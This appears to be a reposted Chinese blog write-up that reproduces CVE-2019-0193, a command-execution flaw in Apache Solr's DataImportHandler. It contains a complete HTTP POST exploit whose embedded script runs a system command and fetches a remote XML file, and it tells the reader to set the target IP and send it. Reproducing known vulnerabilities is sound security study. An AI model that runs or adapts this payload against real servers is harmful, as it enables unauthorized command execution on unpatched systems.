zoukankan      html  css  js  c++  java
  • CVE-2019-0193漏洞复现

    0x00 漏洞简介

      CVE-2019-0193是一个存在于Apache solr搜索引擎中的命令执行漏洞

      影响范围: Apache solr < 8.2.0

      利用工具: burpsuite

      环境: java环境

    0x01 漏洞原因

      Apache solr 是一款开源的搜索服务器并且使用java语言开发;主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档

      在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制

    0x02 漏洞复现

      下载影响范围内的Apache solr(我这里用的是7.7.2版本)解压在cmd运行

      浏览器访问 http://localhost:8983/solr

      cmd 命令执行curl http://localhost:8983/solr/admin/cores (或者浏览器访问)可以获取core信息

      根据获取的core信息中name信息构造payload

       payload如下:

    POST /solr/your_name/dataimport HTTP/1.1
    Host: 192.168.150.164:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.150.164:8983/solr/
    Content-type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Content-Length: 1005
    Connection: close
    
    command=full-import&verbose=false&clean=false&commit=false&debug=true&core=your_name&name=dataimport&dataConfig=<dataConfig>
    
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
    
              function poc(row){
    
     var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("calc").getInputStream()));
    
    var result = [];
    
    while(true) {
    var oneline = bufReader.readLine();
    result.push( oneline );
    if(!oneline) break;
    }
    
    row.put("title",result.join("
    
    "));
    
    return row;
    
    }
    
    
      ]]></script>
    
            <document>
                 <entity name="entity1"
                         url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                         processor="XPathEntityProcessor"
                         forEach="/RDF/item"
                         transformer="script:poc">
                            <field column="title" xpath="/RDF/item/title" />
                 </entity>
            </document>
    </dataConfig>

      分别将代码中的your_name改为core信息中的‘atom’,改为靶机IP 利用burpsuite发送即可

  • 相关阅读:
    《剑指offer》第五十五题(平衡二叉树)
    《剑指offer》第五十五题(二叉树的深度)
    《剑指offer》第五十四题(二叉搜索树的第k个结点)
    《剑指offer》第五十三题(数组中数值和下标相等的元素)
    《剑指offer》第五十三题(0到n-1中缺失的数字)
    《剑指offer》第五十三题(数字在排序数组中出现的次数)
    《剑指offer》第五十二题(两个链表的第一个公共结点)
    《剑指offer》第五十一题(数组中的逆序对)
    http://www.cnblogs.com/amylis_chen/archive/2010/07/15/1778217.html
    在做百度地图开发
  • 原文地址:https://www.cnblogs.com/twlr/p/12273594.html
Copyright © 2011-2022 走看看